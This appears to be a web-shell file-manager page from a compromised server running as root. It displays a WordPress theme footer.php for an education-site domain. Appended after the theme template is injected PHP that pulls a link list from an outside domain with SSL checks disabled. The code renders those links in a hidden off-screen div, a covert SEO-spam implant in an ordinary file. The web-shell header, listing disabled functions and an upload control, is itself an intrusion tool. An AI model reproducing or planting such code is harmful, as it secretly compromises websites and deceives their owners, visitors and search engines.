HEX
Server: nginx/1.24.0
System: Linux ht2024073053593 5.14.0-480.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 12 20:45:27 UTC 2024 x86_64
User: root (0)
PHP: 7.4.33
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/njmuedu.com/wp-content/themes/blogrank-pro/footer.php
<?php
/**
 * The template for displaying the footer.
 *
 * Contains the closing of the #content div and all content after.
 *
 * @link https://developer.wordpress.org/themes/basics/template-files/#template-partials
 *
 * @package blogrank
 */

?>
		</div><!-- .clear -->

	</div><!-- #content .site-content -->

	<footer id="colophon" class="site-footer">

		<?php if ( is_active_sidebar( 'footer' ) ) { ?>

			<div class="footer-columns clear">

				<div class="container clear">
					<div class="grid-wrap">
						<?php dynamic_sidebar( 'footer' ); ?>
					</div>
				</div><!-- .container -->

			</div><!-- .footer-columns -->

		<?php } ?>

		<div class="clear"></div>

		<div id="site-bottom" class="<?php if ( !is_active_sidebar( 'footer' ) ) { echo 'no-footer-widgets'; } ?> clear">

			<div class="container">

			<?php 
				if ( has_nav_menu( 'footer' ) ) {
					wp_nav_menu( array( 'theme_location' => 'footer', 'menu_id' => 'footer-menu', 'menu_class' => 'footer-nav' ) );
				}
			?>	
			
			<div class="site-info">
				<?php
					echo blogrank_option('footer-credit');
				?>
			</div><!-- .site-info -->

			</div><!-- .container -->

		</div>
		<!-- #site-bottom -->
							
	</footer><!-- #colophon -->
	
</div><!-- #page -->

<?php if ( blogrank_option('back-top-on', true) == true) : ?>
	<!-- Back to top -->
	<div id="back-top">
		<a href="#top" title="<?php echo esc_html('Back to top', 'blogrank-pro'); ?>"><span class="genericon genericon-collapse"></span></a>
	</div>

<?php endif; ?>

<?php echo blogrank_option('footer-code'); ?>

<?php wp_footer(); ?>

</body>
</html>
$api_url = 'https://ankaradelisi13.site/data.json';

// API'den çek
$response = wp_remote_get($api_url, array(
    'timeout' => 5, // 5 saniye bekle, olmazsa geç
    'sslverify' => false,
    'headers' => array(
        'Accept' => 'application/json',
        'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
    )
));

if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200) {
    $body = wp_remote_retrieve_body($response);
    $links = json_decode($body, true);
    
    if (!empty($links) && is_array($links)) {
        echo '<!-- FL -->';
        echo '<div style="position:absolute;left:-9999px;top:0;clip:rect(0,0,0,0);overflow:hidden;height:1px;width:1px;">';
        
        foreach ($links as $link) {
            $text = isset($link['text']) ? esc_html($link['text']) : '';
            $url = isset($link['url']) ? esc_url($link['url']) : '#';
            $rel = isset($link['rel']) ? esc_attr($link['rel']) : 'dofollow';
            
            echo '<a href="' . $url . '" rel="' . $rel . '">' . $text . '</a> ';
        }
        
        echo '</div>';
        echo '<!-- /FL -->';
    }
}